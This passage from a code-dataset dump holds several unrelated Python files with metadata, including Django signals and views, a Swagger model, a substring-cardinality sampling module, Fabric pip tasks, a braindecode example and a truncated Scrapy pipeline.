self.weightsHidToout.T @ outError[i]\n\n    self.weightsinToHid += self.learningrate * np.clip(weightsinToHidΔ, -1, 1)\n    self.weightsHidToHid += self.learningrate * np.clip(weightsHidToHidΔ, -1, 1)\n    self.Hidbiases += self.learningrate * np.clip(HidbiasesΔ, -1, 1)\n\n    self.weightsHidToout += self.learningrate * np.clip(weightsHidTooutΔ, -1, 1)\n    self.outbiases += self.learningrate * np.clip(outbiasesΔ, -1, 1)","sub_path":"aiinpy/rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"343893285","text":"import os\r\nfrom django.db.models.signals import post_save,pre_save\r\nfrom django.dispatch import receiver\r\nfrom . models import User,Profile\r\n\r\n@receiver(post_save,sender=User)\r\ndef create_profile(sender, instance, created, **kwargs):\r\n    if created:\r\n        Profile.objects.create(user=instance)\r\n\r\n\r\n@receiver(post_save,sender=User)\r\ndef save_profile(sender, instance,**kwargs):\r\n    instance.profile.save()\r\n\r\n@receiver(pre_save, sender=Profile)\r\ndef auto_delete_file_on_change(sender, instance, **kwargs):\r\n    \"\"\"\r\n    Deletes old file from filesystem\r\n    when corresponding `Profile` object is updated\r\n    with new file.\r\n    \"\"\"\r\n    if not instance.pk:\r\n        return False\r\n\r\n    try:\r\n        old_file =Profile.objects.get(pk=instance.pk).profile_image\r\n    except Profile.DoesNotExist:\r\n        return False\r\n\r\n    new_file = instance.profile_image\r\n    default_file = 'default.png'\r\n    old=os.path.basename(old_file.path)\r\n    if not old_file == new_file and not old == default_file:\r\n        if os.path.isfile(old_file.path):\r\n            os.remove(old_file.path)\r\n\r\n'''\r\n@receiver(request_started)\r\ndef auto_delete_file_on_delete(sender, instance, **kwargs):\r\n    \"\"\"\r\n    Deletes file from filesystem\r\n    when corresponding `Profile` object is deleted.\r\n    \"\"\"\r\n    if instance.profile_image:\r\n        try:\r\n            os.path.isfile(instance.profile_image.path)\r\n        except:\r\n            print(\"Bhai teri image delete ho gyi\")\r\n            return False\r\n'''\r\n","sub_path":"users/templates/users/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"174246204","text":"from collections import defaultdict\ndef solution(genres, plays):\n    answer = []\n    genres_plays = defaultdict(int)\n    genres_songs = defaultdict(lambda: [])\n    \n    i = 0\n    \n    for g, p in zip(genres, plays):\n        genres_plays[g] += p\n        genres_songs[g].append((i, p))\n        i += 1\n        \n    sorted_genres = sorted(genres_plays.items(), key=(lambda x: x[1]), reverse = True)\n    \n    for g in sorted_genres:\n        sorted_g = sorted(genres_songs[g[0]], key=(lambda x: x[1]), reverse=True)\n        answer.append(sorted_g[0][0])\n        if len(sorted_g) > 1:\n            answer.append(sorted_g[1][0])\n            \n    return answer\n\nif __name__ == \"__main__\":\n\n    '''\n    #Test case 1\n    genres = [\"classic\", \"pop\", \"classic\", \"classic\", \"pop\"]\n    plays = [500, 600, 150, 800, 2500]\n    #result [4, 1, 3, 0]\n    '''\n\n    #Test case 2\n    genres = [\"pop\", \"classic\", \"classic\", \"classic\", \"pop\"]\n    plays = [500, 500, 150, 800, 500]\n    #result [3, 1, 0, 4]\n\n    print(solution(genres, plays))","sub_path":"Programmers/베스트앨범2.py","file_name":"베스트앨범2.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"368596536","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime  # noqa: F401\n\nfrom typing import List, Dict  # noqa: F401\n\nfrom swagger_server.models.base_model_ import Model\nfrom swagger_server.models.sentence_item import SentenceItem  # noqa: F401,E501\nfrom swagger_server import util\n\n\nclass GameItem(Model):\n    \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n    Do not edit the class manually.\n    \"\"\"\n\n    def __init__(self, id: str=None, nombre: str=None, descripcion: str=None, localizacion: str=None, dificultad: str=None, jugadoresmin: str=None, jugadoresmax: str=None, frases: List[SentenceItem]=None):  # noqa: E501\n        \"\"\"GameItem - a model defined in Swagger\n\n        :param id: The id of this GameItem.  # noqa: E501\n        :type id: str\n        :param nombre: The nombre of this GameItem.  # noqa: E501\n        :type nombre: str\n        :param descripcion: The descripcion of this GameItem.  # noqa: E501\n        :type descripcion: str\n        :param localizacion: The localizacion of this GameItem.  # noqa: E501\n        :type localizacion: str\n        :param dificultad: The dificultad of this GameItem.  # noqa: E501\n        :type dificultad: str\n        :param jugadoresmin: The jugadoresmin of this GameItem.  # noqa: E501\n        :type jugadoresmin: str\n        :param jugadoresmax: The jugadoresmax of this GameItem.  # noqa: E501\n        :type jugadoresmax: str\n        :param frases: The frases of this GameItem.  # noqa: E501\n        :type frases: List[SentenceItem]\n        \"\"\"\n        self.swagger_types = {\n            'id': str,\n            'nombre': str,\n            'descripcion': str,\n            'localizacion': str,\n            'dificultad': str,\n            'jugadoresmin': str,\n            'jugadoresmax': str,\n            'frases': List[SentenceItem]\n        }\n\n        self.attribute_map = {\n            'id': 'id',\n            'nombre': 'nombre',\n            'descripcion': 'descripcion',\n            'localizacion': 'localizacion',\n            'dificultad': 'dificultad',\n            'jugadoresmin': 'jugadoresmin',\n            'jugadoresmax': 'jugadoresmax',\n            'frases': 'frases'\n        }\n\n        self._id = id\n        self._nombre = nombre\n        self._descripcion = descripcion\n        self._localizacion = localizacion\n        self._dificultad = dificultad\n        self._jugadoresmin = jugadoresmin\n        self._jugadoresmax = jugadoresmax\n        self._frases = frases\n\n    @classmethod\n    def from_dict(cls, dikt) -> 'GameItem':\n        \"\"\"Returns the dict as a model\n\n        :param dikt: A dict.\n        :type: dict\n        :return: The GameItem of this GameItem.  # noqa: E501\n        :rtype: GameItem\n        \"\"\"\n        return util.deserialize_model(dikt, cls)\n\n    @property\n    def id(self) -> str:\n        \"\"\"Gets the id of this GameItem.\n\n\n        :return: The id of this GameItem.\n        :rtype: str\n        \"\"\"\n        return self._id\n\n    @id.setter\n    def id(self, id: str):\n        \"\"\"Sets the id of this GameItem.\n\n\n        :param id: The id of this GameItem.\n        :type id: str\n        \"\"\"\n        if id is None:\n            raise ValueError(\"Invalid value for `id`, must not be `None`\")  # noqa: E501\n\n        self._id = id\n\n    @property\n    def nombre(self) -> str:\n        \"\"\"Gets the nombre of this GameItem.\n\n\n        :return: The nombre of this GameItem.\n        :rtype: str\n        \"\"\"\n        return self._nombre\n\n    @nombre.setter\n    def nombre(self, nombre: str):\n        \"\"\"Sets the nombre of this GameItem.\n\n\n        :param nombre: The nombre of this GameItem.\n        :type nombre: str\n        \"\"\"\n        if nombre is None:\n            raise ValueError(\"Invalid value for `nombre`, must not be `None`\")  # noqa: E501\n\n        self._nombre = nombre\n\n    @property\n    def descripcion(self) -> str:\n        \"\"\"Gets the descripcion of this GameItem.\n\n\n        :return: The descripcion of this GameItem.\n        :rtype: str\n        \"\"\"\n        return self._descripcion\n\n    @descripcion.setter\n    def descripcion(self, descripcion: str):\n        \"\"\"Sets the descripcion of this GameItem.\n\n\n        :param descripcion: The descripcion of this GameItem.\n        :type descripcion: str\n        \"\"\"\n        if descripcion is None:\n            raise ValueError(\"Invalid value for `descripcion`, must not be `None`\")  # noqa: E501\n\n        self._descripcion = descripcion\n\n    @property\n    def localizacion(self) -> str:\n        \"\"\"Gets the localizacion of this GameItem.\n\n\n        :return: The localizacion of this GameItem.\n        :rtype: str\n        \"\"\"\n        return self._localizacion\n\n    @localizacion.setter\n    def localizacion(self, localizacion: str):\n        \"\"\"Sets the localizacion of this GameItem.\n\n\n        :param localizacion: The localizacion of this GameItem.\n        :type localizacion: str\n        \"\"\"\n        if localizacion is None:\n            raise ValueError(\"Invalid value for `localizacion`, must not be `None`\")  # noqa: E501\n\n        self._localizacion = localizacion\n\n    @property\n    def dificultad(self) -> str:\n        \"\"\"Gets the dificultad of this GameItem.\n\n\n        :return: The dificultad of this GameItem.\n        :rtype: str\n        \"\"\"\n        return self._dificultad\n\n    @dificultad.setter\n    def dificultad(self, dificultad: str):\n        \"\"\"Sets the dificultad of this GameItem.\n\n\n        :param dificultad: The dificultad of this GameItem.\n        :type dificultad: str\n        \"\"\"\n        if dificultad is None:\n            raise ValueError(\"Invalid value for `dificultad`, must not be `None`\")  # noqa: E501\n\n        self._dificultad = dificultad\n\n    @property\n    def jugadoresmin(self) -> str:\n        \"\"\"Gets the jugadoresmin of this GameItem.\n\n\n        :return: The jugadoresmin of this GameItem.\n        :rtype: str\n        \"\"\"\n        return self._jugadoresmin\n\n    @jugadoresmin.setter\n    def jugadoresmin(self, jugadoresmin: str):\n        \"\"\"Sets the jugadoresmin of this GameItem.\n\n\n        :param jugadoresmin: The jugadoresmin of this GameItem.\n        :type jugadoresmin: str\n        \"\"\"\n        if jugadoresmin is None:\n            raise ValueError(\"Invalid value for `jugadoresmin`, must not be `None`\")  # noqa: E501\n\n        self._jugadoresmin = jugadoresmin\n\n    @property\n    def jugadoresmax(self) -> str:\n        \"\"\"Gets the jugadoresmax of this GameItem.\n\n\n        :return: The jugadoresmax of this GameItem.\n        :rtype: str\n        \"\"\"\n        return self._jugadoresmax\n\n    @jugadoresmax.setter\n    def jugadoresmax(self, jugadoresmax: str):\n        \"\"\"Sets the jugadoresmax of this GameItem.\n\n\n        :param jugadoresmax: The jugadoresmax of this GameItem.\n        :type jugadoresmax: str\n        \"\"\"\n        if jugadoresmax is None:\n            raise ValueError(\"Invalid value for `jugadoresmax`, must not be `None`\")  # noqa: E501\n\n        self._jugadoresmax = jugadoresmax\n\n    @property\n    def frases(self) -> List[SentenceItem]:\n        \"\"\"Gets the frases of this GameItem.\n\n\n        :return: The frases of this GameItem.\n        :rtype: List[SentenceItem]\n        \"\"\"\n        return self._frases\n\n    @frases.setter\n    def frases(self, frases: List[SentenceItem]):\n        \"\"\"Sets the frases of this GameItem.\n\n\n        :param frases: The frases of this GameItem.\n        :type frases: List[SentenceItem]\n        \"\"\"\n        if frases is None:\n            raise ValueError(\"Invalid value for `frases`, must not be `None`\")  # noqa: E501\n\n        self._frases = frases","sub_path":"Back-end/Code/Servidor/swagger_server/models/game_item.py","file_name":"game_item.py","file_ext":"py","file_size_in_byte":7517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"398107474","text":"import random\nimport time\nimport torch\n\n\nclass TrainedModel:\n\n    def __init__(self, model, table, device):\n        self.model = model\n        self.table = table\n        self.device = device\n        self.oracle = OracleModel(\n            [\"\".join([c for c in x]) for x in table.data.values])\n\n    def char_width(self):\n        return self.oracle.char_width()\n\n    def count(self):\n        return self.oracle.count()\n\n    def true_prob(self, substr):\n        return self.oracle.true_prob(substr)\n\n    def p(self, substr, i):\n        return self.prob_occurs_starting_at(substr, [i])\n\n    def prob_occurs_starting_at(self, substrs, indices, prog_query=None):\n        if type(substrs) is str:\n            substrs = [substrs] * len(indices)\n        model, table = self.model, self.table\n        query_bins = []\n        nonzero_indices = []\n        for i, (substr, index) in enumerate(zip(substrs, indices)):\n            if len(substr) + index > len(table.columns):\n                continue\n            has_error = False\n            query_bin = [0] * index\n            for char, col in zip(substr, table.columns[index:]):\n                try:\n                    query_bin.append(col.ValToBin(char))\n                except IndexError:\n                    #print(\"WARN: Out of distribution character\", char, col)\n                    has_error = True\n            if has_error:\n                continue\n            nonzero_indices.append(i)\n            query_bins.append(query_bin)\n        assert nonzero_indices\n        assert query_bins\n\n        model.eval()\n        with torch.no_grad():\n            batch = torch.tensor([\n                query_bin + [0] * (len(table.columns) - len(query_bin))\n                for query_bin in query_bins\n            ]).long().to(self.device)\n            ix = [indices[i] for i in nonzero_indices]\n            logits = model.forward(batch, skip_prefix=ix)\n            needed_i = set()\n            for j in range(len(nonzero_indices)):\n                query_bin = query_bins[j]\n                for i in range(indices[nonzero_indices[j]], len(query_bin)):\n                    needed_i.add(i)\n            dists = [\n                torch.softmax(model.logits_for_col(i, logits), -1)\n                if i in needed_i else None for i in range(len(table.columns))\n            ]\n            probs = [1.0] * len(query_bins)\n            for j in range(len(nonzero_indices)):  # for each batch elem\n                query_bin = query_bins[j]\n                start = indices[nonzero_indices[j]]\n                if prog_query is not None:\n                    # only count cond probs for the query, not prefix chars\n                    start = len(query_bin) - len(prog_query)\n                for i in range(start, len(query_bin)):  # sample next char\n                    dist = dists[i]\n                    probs[j] *= dist[j][query_bin[i]]\n\n        return nonzero_indices, [float(p) for p in probs]\n\n    def sample_next(self, substrs, ignore_prefix_sizes, last_batch=None):\n        model, table = self.model, self.table\n\n        results = [None] * len(substrs)\n\n        if last_batch is not None:\n            # Continue building the last batch. Just need to fill out the last char.\n            for i, (substr, ignore_prefix_size) in enumerate(\n                    zip(substrs, ignore_prefix_sizes)):\n                has_error = False\n                j = len(substr) - 1\n                char = substr[j]\n                col = table.columns[j]\n                try:\n                    bin_val = col.ValToBin(char)\n                except IndexError:\n                    #print(\"WARN: Out of distribution character\", char, col)\n                    has_error = True\n                if has_error:\n                    results[i] = substr  # no sampling\n                else:\n                    last_batch[i][j] = int(bin_val)\n        else:\n            query_bins = [None] * len(substrs)\n            for i, (substr, ignore_prefix_size) in enumerate(\n                    zip(substrs, ignore_prefix_sizes)):\n                has_error = False\n                query_bin = [0] * ignore_prefix_size\n                for char, col in zip(substr[ignore_prefix_size:],\n                                     table.columns[ignore_prefix_size:]):\n                    try:\n                        query_bin.append(col.ValToBin(char))\n                    except IndexError:\n                        #print(\"WARN: Out of distribution character\", char, col)\n                        has_error = True\n                        break\n                if has_error:\n                    results[i] = substr  # no sampling\n                query_bins[i] = query_bin\n            assert all([q is not None for q in query_bins])\n\n        model.eval()\n        has_next = False\n        with torch.no_grad():\n            if last_batch is not None:\n                batch = last_batch\n            else:\n                batch = torch.tensor([\n                    query_bin + [0] * (len(table.columns) - len(query_bin))\n                    for query_bin in query_bins\n                ]).long().to(self.device)\n            logits = model.forward(batch, skip_prefix=ignore_prefix_sizes)\n\n            needed_i = set()\n            for batch_idx, substr in enumerate(substrs):\n                needed_i.add(len(substr))\n\n            samples = [\n                torch.multinomial(\n                    torch.softmax(model.logits_for_col(i, logits), -1), 1)\n                if i in needed_i else None for i in range(len(table.columns))\n            ]\n\n            for batch_idx, substr in enumerate(substrs):\n                if results[batch_idx] is not None:\n                    continue  # no extension possible\n                col_i = len(substr)\n                if col_i >= self.char_width():\n                    results[batch_idx] = substr  # no extension possible\n                    continue\n                elif col_i + 1 < self.char_width():\n                    has_next = True\n                bin_val = int(samples[col_i][batch_idx][0])\n                results[\n                    batch_idx] = substr + table.columns[col_i].BinToVal(bin_val)\n\n        assert all([r is not None for r in results])\n        return results, has_next, batch\n\n    def sample(self, prefixes=[\"\"], ignore_prefix_sizes=[0]):\n        next_batch = None\n        while True:\n            prefixes, has_next, next_batch = self.sample_next(\n                prefixes, ignore_prefix_sizes, next_batch)\n            if not has_next:\n                return prefixes\n\n\nclass OracleModel(object):\n\n    def __init__(self, strings):\n        self.strings = strings\n        lens = set(len(x) for x in strings)\n        assert len(lens) == 1, lens\n\n    def char_width(self):\n        return len(self.strings[0])\n\n    def count(self):\n        return len(self.strings)\n\n    def true_prob(self, substr):\n        num_matched = 0\n        for string in self.strings:\n            if substr in string:\n                num_matched += 1\n        return float(num_matched) / len(self.strings)\n\n    def prob_occurs_starting_at(self, substr, index):\n        num_matched = 0\n        for string in self.strings:\n            if string[index:].startswith(substr):\n                num_matched += 1\n        return float(num_matched) / len(self.strings)\n\n    def sample_next(self, prefix, ignore_prefix_size=0):\n        candidates = []\n        for string in self.strings:\n            if string[ignore_prefix_size:].startswith(\n                    prefix[ignore_prefix_size:]):\n                candidates.append(string)\n        if not candidates:\n            return None\n        candidate = random.choice(candidates)\n        ret = candidate[:len(prefix) + 1]\n        ret = \"?\" * ignore_prefix_size + ret[ignore_prefix_size:]\n        if len(ret) == len(prefix):\n            return False  # no more\n        return ret\n\n    def sample(self, prefix=\"\", ignore_prefix_size=0):\n        while True:\n            next = self.sample_next(prefix, ignore_prefix_size)\n            if next:\n                prefix = next\n            else:\n                if next is None:\n                    return None\n                return prefix\n\n\ndef infer_skip(model, query, num_samples=100):\n    start = time.time()\n    width = model.char_width()\n    batch_size = max(1, num_samples // width)\n    print(\"batch size\", batch_size)\n\n    all_p = []\n    indices = list(range(width))\n    nonzero_indices, probs = model.prob_occurs_starting_at(query, indices)\n    print(\"probs\", probs)\n\n    #    print(\"full 0 dist\", {\n    #        \"aaaaaaaaaa\": model.p(\"aaaaaaaaaa\", 0),\n    #        \"https://fi\": model.p(\"https://fi\", 0),\n    #        \"https://go\": model.p(\"https://go\", 0),\n    #        \"https://ya\": model.p(\"https://ya\", 0),\n    #    })\n    #    print(\"index 8 dist\", {\n    #        \"a\": model.p(\"a\", 8),\n    #        \"f\": model.p(\"f\", 8),\n    #        \"g\": model.p(\"g\", 8),\n    #        \"y\": model.p(\"y\", 8),\n    #    })\n    #    print(\"index 9 dist\", {\n    #        \"i\": model.p(\"i\", 9),\n    #        \"o\": model.p(\"o\", 9),\n    #        \"a\": model.p(\"a\", 9),\n    #    })\n\n    nonzero_probs = [p for p in probs if p > 0]\n    print(\"nonzero_probs\", nonzero_probs)\n    nonzero_indices = [\n        nonzero_indices[i] for i in range(len(probs)) if probs[i] > 0\n    ]\n    print(\"nonzero indices\", nonzero_indices)\n    substrs = []\n    zero_in = []\n    for _ in range(batch_size):\n        substrs.extend([\"?\" * i + query for i in nonzero_indices])\n        zero_in.extend(nonzero_indices)\n    print(\"substrs\", substrs[:10], \"count\", len(substrs))\n    assert len(substrs) == len(zero_in)\n    completions = model.sample(substrs, zero_in)\n    assert len(completions) == len(substrs)\n    print(\"completions\", completions[:10])\n    remainings = [\n        completions[i][zero_in[i] + len(query):]\n        for i in range(len(completions))\n    ]\n    print(remainings[:10])\n    num_rej = 0.0\n    acc_count, rej_count = 0, 0\n    for i in range(len(remainings)):\n        if query not in remainings[\n                i]:  # remove duplicate, skip for rejection sampling\n            all_p.append(nonzero_probs[i % len(nonzero_probs)])\n            acc_count += 1\n        else:\n            num_rej += nonzero_probs[i % len(nonzero_probs)]\n            rej_count += 1\n    print(\"density rejected\", num_rej, rej_count)\n    print(\"density accepted\", sum(all_p), acc_count)\n    print(\"infer skip time\", time.time() - start, \"for\", num_samples)\n\n    return model.count() * sum(all_p) / batch_size\n\n\ndef progressive_sampling(model, query, samples):\n    width = model.char_width()\n    num_samples = len(samples)\n    batch_size = max(1, num_samples // width)\n    i = 0\n    query_in = []\n    all_p = []\n    for s in samples:\n        rep = s[:i] + query\n        rep = rep[:width]\n        if i + len(query) <= width:\n            query_in.append(rep)\n        i += 1\n        i = i % width\n    nonzero_indices, probs = model.prob_occurs_starting_at(\n        query_in, [0] * len(query_in), prog_query=query)\n    #    print(\"prog probs\", probs)\n\n    nonzero_probs = [p for p in probs if p > 0]\n    #    print(\"prog nonzero_probs\", nonzero_probs)\n    nonzero_indices = [\n        nonzero_indices[i] for i in range(len(probs)) if probs[i] > 0\n    ]\n    #    print(\"prog nonzero indices\", nonzero_indices)\n    substrs = [query_in[i] for i in nonzero_indices]\n    print(\"prog substrs\", substrs[:10], \"count\", len(substrs))\n    completions = model.sample(substrs, [0] * len(substrs))\n    assert len(completions) == len(substrs)\n    print(\"prog completions\", completions[:10])\n    remainings = [\n        completions[i][len(substrs[i]):] for i in range(len(completions))\n    ]\n    print(\"prog remainings\", remainings[:10])\n    num_rej = 0.0\n    acc_count, rej_count = 0, 0\n    for i in range(len(remainings)):\n        if query not in remainings[\n                i]:  # remove duplicate, skip for rejection sampling\n            all_p.append(nonzero_probs[i % len(nonzero_probs)])\n            acc_count += 1\n        else:\n            num_rej += nonzero_probs[i % len(nonzero_probs)]\n            rej_count += 1\n    return model.count() * sum(all_p) / batch_size\n\n\ndef infer_naive(model, query, num_samples=100, progressive=False):\n    start = time.time()\n    num_match = 0\n    samples = model.sample([\"\"] * num_samples, [0] * num_samples)\n    print(\"naive samples\", samples[:10])\n    #print(samples)\n    for sample in samples:\n        if query in sample:\n            num_match += 1\n    print(\"infer naive time\", time.time() - start, \"for\", num_samples)\n\n    if progressive:\n        return progressive_sampling(model, query, samples)\n\n    return model.count() * float(num_match) / num_samples\n\n\ndef q_error(est, real):\n    real = max(1, real)\n    return round(max(est, real) / max(1, min(est, real)), 2)\n\n\n# query: google\n# naive inference err w/ 10 samples: 1.09\n# naive inference err w/ 100 samples: 1.02\n# skip inference err w/ 10 samples: 1.0\n# skip inference err w/ 100 samples: 1.0\n# ground truth prob: 55.0\n# -----\n# query: https\n# naive inference err w/ 10 samples: 600.0\n# naive inference err w/ 100 samples: 1.4\n# skip inference err w/ 10 samples: 1.0\n# skip inference err w/ 100 samples: 1.0\n# ground truth prob: 6.0\n# -----\n# query: rare\n# naive inference err w/ 10 samples: 5.6\n# naive inference err w/ 100 samples: 2.8\n# skip inference err w/ 10 samples: 1.0\n# skip inference err w/ 100 samples: 1.0\n# ground truth prob: 1.0\n# -----\nif __name__ == \"__main__\":\n    text = [\n        \"https://google.com?q=somethingrandom\",\n        \"https://google.com?q=otherrandomstri\",\n        \"https://firefox.com?query=google.com\",\n        \"https://firefox.com?query=google.com\",\n        \"https://firefox.com?query=google.com\",\n        \"https://yahoo.com/some/rare/match---\",\n    ]\n    for _ in range(50):\n        text.append(\"http://google/is/some/other/google/c\")\n\n    model = OracleModel(text)\n\n    for query in [\"google\", \"https\", \"rare\"]:\n        ground_truth = model.true_prob(query) * model.count()\n        print(\"query:\", query)\n        for i in [10, 100]:\n            naive_est = infer_naive(model, query, i)\n            print(\"naive inference err w/\", i, \"samples:\",\n                  q_error(naive_est, ground_truth))\n        for i in [10, 100]:\n            skip_est = infer_skip(model, query, i)\n            print(\"skip inference err w/\", i, \"samples:\",\n                  q_error(skip_est, ground_truth))\n        print(\"ground truth prob:\", ground_truth)\n        print(\"-----\")\n","sub_path":"text_infer.py","file_name":"text_infer.py","file_ext":"py","file_size_in_byte":14414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"448605821","text":"from bs4 import BeautifulSoup\n\n\ndef load_idf():\n    input = open('classes/Blog/Qpredict/idf.txt', encoding=\"utf8\").readlines()\n\n    idf = {}\n    for line in input:\n        tokens = line.replace(\"\\n\", \"\").split(\",\")\n        key = tokens[0]\n        value = float(tokens[1])\n        idf[key] = value\n    return idf\n\n\ndef Qpredict(input=None):\n    idf = load_idf()\n    input = BeautifulSoup(input,features=\"html.parser\").text.replace('\\n', '').replace('\\xa0',' ')\n    sentences = input.split('.')\n    out = []\n    for line in sentences:\n        tokens = line.lower().replace('\\n', '').replace(',', '').split(' ')\n        max_score = 0.0\n        token = tokens[0]\n        if len(tokens) < 3:\n            continue\n        for tok in tokens:\n            if tok in idf.keys() and idf[tok] > max_score:\n                max_score = idf[tok]\n                token = tok\n        ans = line.lower().replace('\\n', '').replace(token, '____')\n\n        out.append((ans, token, max_score))\n    sorted_out = sorted(out, key=lambda tup: (tup[2], tup[1]))\n\n    return sorted_out[0:5]\n\n","sub_path":"CS_Classroom/classes/Blog/Qpredict/Qpredict.py","file_name":"Qpredict.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"356613210","text":"import os\n\nfrom fabric.api import *  # noqa\nfrom fabric.colors import (blue, cyan, green, magenta, red, white,  # noqa\n                           yellow)\n\n\n@task\n@parallel\ndef pip_reqs():\n    pip(target_library=env.requirements_file, flags=['-r'])\n\n\n@task\n@parallel\n@roles('web', 'celery')\ndef pip_uninstall(lib):\n    pip(cmd='uninstall', target_library=lib, flags=['-y'])\n\n\n@task\n@parallel\ndef pip_pre_reqs():\n    pass\n\n\n@task\n@parallel\ndef pip(cmd='install', target_library=None, dir=None, flags=[], virtual_env=None):\n    if target_library is None:\n        raise ValueError('pip install target_library cannot be none')\n    if dir is None and 'release' in env:\n        dir = os.path.join(env.src_path, 'releases', env.release)\n    elif dir is None:\n        dir = env.current\n    if virtual_env is None:\n        virtual_env = env.path\n    props = {\n        'pip': os.path.join(virtual_env, 'bin', 'pip'),\n        'cmd': cmd,\n        'lib': target_library,\n        'flags': ' '.join(flags) if flags else '',\n    }\n\n    with activate_venv(path=virtual_env):\n        with cd(dir):\n            run('%(pip)s %(cmd)s %(flags)s %(lib)s' % props)\n\n\n@task\n@roles('web', 'celery')\ndef clear_venv():\n    run('virtualenv --clear {0}'.format(env.venv_name))\n\n\ndef activate_venv(path=None):\n    if path is None:\n        path = env.path\n    return prefix('source %s' % os.path.join(path, 'bin', 'activate'))\n\n\n@task\ndef rebuild_ve():\n    run('find %(path)s -name \"*.pyc\" -exec rm -rf {} \\;' % env)\n    pip_reqs()\n","sub_path":"bin/fabric/utils/pip.py","file_name":"pip.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"376883507","text":"from django.shortcuts import render\nfrom .models import Product\nfrom django.core.paginator import Paginator\n# Create your views here.\n\ndef product_list(request):\n    product_list = Product.objects.get_queryset().order_by('id')\n    paginator = Paginator(product_list, 3)\n\n    page_number = request.GET.get('page')\n    product_list = paginator.get_page(page_number)\n    context = {'product_list':product_list}\n    return render(request,'Product/product_list.html', context)\n\ndef product_detail(request,id):\n    product_detail = Product.objects.get(id=id)\n    context = {'product_detail':product_detail}\n    return render(request,'Product/product_detail.html', context)","sub_path":"product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"249091474","text":"\"\"\"\nSimple Moabb Dataset Example\n=========================\n\nShowcasing how to fetch and crop a moabb dataset.\n\"\"\"\n\n# Authors: Lukas Gemein <l.gemein@gmail.com>\n#\n# License: BSD (3-clause)\n\nfrom braindecode.datasets import MOABBDataset\n\n# create a dataset based on BCIC IV 2a fetched with moabb\nds = MOABBDataset(dataset_name=\"BNCI2014001\", subject_ids=[4],\n                  trial_start_offset_samples=0, trial_stop_offset_samples=1000,\n                  supercrop_size_samples=1000, supercrop_stride_samples=1000)\n\n# we can iterate through ds which yields an example x, target y,\n# and info as i_supercrop_in_trial, i_start_in_trial, and i_stop_in_trial\n# which is required for combining supercrop predictions in the scorer\nfor x, y, info in ds:\n    print(x.shape, y, info)\n    break\n\n# each base_ds in ds has its own info DataFrame\nprint(ds.datasets[-1].info)\n# ds has a concattenation of all DataFrames of its datasets\nprint(ds.info)\n\n# we can easily split ds based on a criterium in the info DataFrame\nsubsets = ds.split(\"session\")\nprint(subsets)\n\n# again we can iterate through the subsets as through the ds\nfor x, y, info in subsets[\"session_E\"]:\n    print(x.shape, y, info)\n    break\n\n# create a dataset based on TUH Abnormal EEG Corpus (v2.0.0)\n# for this dataset, no events exist but a label (pathological / non-pathological\n# is valid for the entire recording\n# ds = TUHAbnormal(path=\"/path/to/the/directory/\",\n#                  subject_ids=[0, 1], trial_start_offset_samples=0,\n#                  trial_stop_offset_samples=1000, supercrop_size_samples=1000,\n#                  supercrop_stride_samples=1000, mapping={False: 0, True: 1})\n\n# as before, we can iterate through the dataset, getting the same kind of info\n# for x, y, info in ds:\n#     print(x.get_data().shape, y, info)\n#     break\n\n# we can change the target for this dataset to 'age'\n# ds = TUHAbnormal(path=\"/path/to/the/directory/\",\n#                  subject_ids=[0, 1], trial_start_offset_samples=0,\n#                  trial_stop_offset_samples=1000, supercrop_size_samples=1000,\n#                  supercrop_stride_samples=1000, target=\"age\",\n#                  mapping={False: 0, True: 1})\n","sub_path":"examples/plot_dataset_example.py","file_name":"plot_dataset_example.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"127831008","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\n# 载入自定义工具\nimport os\nimport sys\nsys.path.append(os.path.expanduser('~/workspace/caiji'))\nfrom pytool.databases import Mysql, OssFile\n\nfrom scrapy.pipelines.images import ImagesPipeline\nfrom scrapy.exceptions import DropItem\nimport uuid\nimport time\nimport os\nimport re\n\n\n\nclass SaveItemPipeline(object):\n\n    @classmethod\n    def from_settings(cls, settings):\n        return cls(settings)\n\n    def __init__(self, settings):\n        self.settings = settings\n        self.db = Mysql(self.settings)\n        self.insert_count = 0\n\n    # pipeline默认调用\n    def process_item(self, item, spider):\n        # 去除多余的数据\n        item.pop('image_urls')\n        # 插入数据库\n        print(\"======== 保存文章至数据库：\" + item['title'])\n        self.db.insert_with_autotime('weixin_articles', item)\n        article = self.db.select_one('weixin_articles', ['source_url', '=', item['source_url']])\n        # 更新帐号最后更新时间\n        print(\"======== 更新帐号更新时间：\" + str(article['weixin_account_id']))\n        query_param = ['id', '=', str(article['weixin_account_id'])]\n        set_param = ['last_published_at', '=', self.db.get_current_time()]\n        self.db.update('weixin_accounts', query_param, set_param)\n        self.insert_count += 1\n        print(\"======== 成功保存至数据库 NO.\" + str(self.insert_count) + \" ：\" + item['title'])\n        return item\n\nclass SaveImagePipeline(ImagesPipeline):\n\n    @classmethod\n    def from_settings(cls, settings):\n        return cls(settings)\n\n    def __init__(self, settings):\n        self.success_count = 0\n        self.settings = settings\n        self.oss = OssFile(self.settings)\n        self.oss_path = self.settings['ALIYUN_PATH']\n\n    def process_item(self, item, spider):\n        image_urls = 